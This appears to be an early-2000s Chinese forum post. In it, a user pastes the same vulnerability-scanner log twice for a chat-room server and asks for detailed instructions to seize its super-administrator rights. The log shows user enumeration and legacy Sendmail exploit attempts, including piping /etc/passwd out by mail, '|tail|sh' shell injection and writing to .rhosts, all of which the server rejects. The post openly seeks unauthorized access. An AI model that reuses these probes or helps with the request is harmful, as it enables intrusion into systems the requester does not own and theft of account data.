H
ht30
我扫描了一个网站聊天室，结果如下，我想问问怎么取得这里的超级管理权限，谢谢你了.....（我把ip地址去掉了，你如果需要，我发到你的信箱里面），说得详细点呀，我很笨的）
[Findo0r Scanner]
扫描目标：x.x.x.x
扫描选项：
CGI漏洞
FTP漏洞
SMTP漏洞
FINGER漏洞
开始扫描......
目标IP地址为：x.x.x.x
扫描目标主机开放的端口：
7号端口(echo)开放!
9号端口(discard)开放!
13号端口(daytime)开放!
19号端口(chargen)开放!
21号端口(ftp)开放!
23号端口(telnet)开放!
25号端口(smtp)开放!
开始扫描FTP漏洞：
FTP服务器的Banner：
220 chat.x.net.cn FTP server ready.
测试匿名用户
开始扫描SMTP漏洞：
SMTP服务器的Banner：
220 chat.x.net.cn ESMTP Sendmail 8.11.3/8.9.3; Sun, 3 Jun 2001 15:06:47 +0800
214-2.0.0 This is Sendmail version 8.11.3
214-2.0.0 Topics:
214-2.0.0 HELO EHLO MAIL RCPT DATA
214-2.0.0 RSET NOOP QUIT HELP VRFY
214-2.0.0 EXPN VERB ETRN DSN
214-2.0.0 For more info use "HELP <topic>".
214-2.0.0 To report bugs in the implementation send email to
214-2.0.0 sendmail-bugs@sendmail.org.
214-2.0.0 For local information send email to Postmaster at your site.
214 2.0.0 End of HELP info
可以使用RCPT命令获得用户名列表.
可以使用VRFY命令获得用户名列表.
可以使用EXPN命令获得用户名列表.
501 5.0.0 HELO requires domain address
250 2.1.0 hacker@hacker.com... Sender ok
尝试利用RCPT命令获得目标机上存在的一些常见用户名：
250 2.1.5 root... Recipient ok
250 2.1.5 ftp... Recipient ok
250 2.1.5 news... Recipient ok
250 2.1.5 adm... Recipient ok
250 2.1.5 sync... Recipient ok
检查decode别名：
250 2.1.5 root <root@chat.x.net.cn>
500 5.5.1 Command unrecognized: ""
检查漏洞
500 5.5.1 Command unrecognized: ""
检查debug漏洞
500 5.5.1 Command unrecognized: "debug"
检查kill漏洞
500 5.5.1 Command unrecognized: "kill"
检查wiz漏洞
500 5.5.1 Command unrecognized: "wiz"
检查rcpt to: /tmp/.rhosts漏洞
550 5.7.1 /tmp/.rhosts... Cannot mail directly to files
检查+ +漏洞
500 5.5.1 Command unrecognized: "+ +"
检查RSET漏洞
250 2.0.0 Reset state
检查mail from: |/bin/mail hacker < /etc/passwd漏洞
553 5.1.7 |/bin/mail... Invalid sender address
检查RSET漏洞
250 2.0.0 Reset state
检查mail from: |tail|sh漏洞
553 5.1.7 |tail|sh... Invalid sender address
开始扫描FINGER漏洞：
目标没有开放FINGER服务...
开始扫描CGI漏洞：
目标没有开放WWW服务...
扫描完毕！！！
421 Login Timeout (300 seconds): closing control connection.
根目录列表：
尝试改变主目录属性为可写：
尝试建立目录：
尝试执行Shell：
[Findo0r Scanner]
扫描目标：x.x.x.x
扫描选项：
CGI漏洞
FTP漏洞
SMTP漏洞
FINGER漏洞
开始扫描......
目标IP地址为：x.x.x.x
扫描目标主机开放的端口：
7号端口(echo)开放!
9号端口(discard)开放!
13号端口(daytime)开放!
19号端口(chargen)开放!
21号端口(ftp)开放!
23号端口(telnet)开放!
25号端口(smtp)开放!
开始扫描FTP漏洞：
FTP服务器的Banner：
220 chat.x.net.cn FTP server ready.
测试匿名用户
开始扫描SMTP漏洞：
SMTP服务器的Banner：
220 chat.x.net.cn ESMTP Sendmail 8.11.3/8.9.3; Sun, 3 Jun 2001 15:06:47 +0800
214-2.0.0 This is Sendmail version 8.11.3
214-2.0.0 Topics:
214-2.0.0 HELO EHLO MAIL RCPT DATA
214-2.0.0 RSET NOOP QUIT HELP VRFY
214-2.0.0 EXPN VERB ETRN DSN
214-2.0.0 For more info use "HELP <topic>".
214-2.0.0 To report bugs in the implementation send email to
214-2.0.0 sendmail-bugs@sendmail.org.
214-2.0.0 For local information send email to Postmaster at your site.
214 2.0.0 End of HELP info
可以使用RCPT命令获得用户名列表.
可以使用VRFY命令获得用户名列表.
可以使用EXPN命令获得用户名列表.
501 5.0.0 HELO requires domain address
250 2.1.0 hacker@hacker.com... Sender ok
尝试利用RCPT命令获得目标机上存在的一些常见用户名：
250 2.1.5 root... Recipient ok
250 2.1.5 ftp... Recipient ok
250 2.1.5 news... Recipient ok
250 2.1.5 adm... Recipient ok
250 2.1.5 sync... Recipient ok
检查decode别名：
250 2.1.5 root <root@chat.x.net.cn>
500 5.5.1 Command unrecognized: ""
检查漏洞
500 5.5.1 Command unrecognized: ""
检查debug漏洞
500 5.5.1 Command unrecognized: "debug"
检查kill漏洞
500 5.5.1 Command unrecognized: "kill"
检查wiz漏洞
500 5.5.1 Command unrecognized: "wiz"
检查rcpt to: /tmp/.rhosts漏洞
550 5.7.1 /tmp/.rhosts... Cannot mail directly to files
检查+ +漏洞
500 5.5.1 Command unrecognized: "+ +"
检查RSET漏洞
250 2.0.0 Reset state
检查mail from: |/bin/mail hacker < /etc/passwd漏洞
553 5.1.7 |/bin/mail... Invalid sender address
检查RSET漏洞
250 2.0.0 Reset state
检查mail from: |tail|sh漏洞
553 5.1.7 |tail|sh... Invalid sender address
开始扫描FINGER漏洞：
目标没有开放FINGER服务...
开始扫描CGI漏洞：
目标没有开放WWW服务...
扫描完毕！！！
421 Login Timeout (300 seconds): closing control connection.
根目录列表：
尝试改变主目录属性为可写：
尝试建立目录：
尝试执行Shell：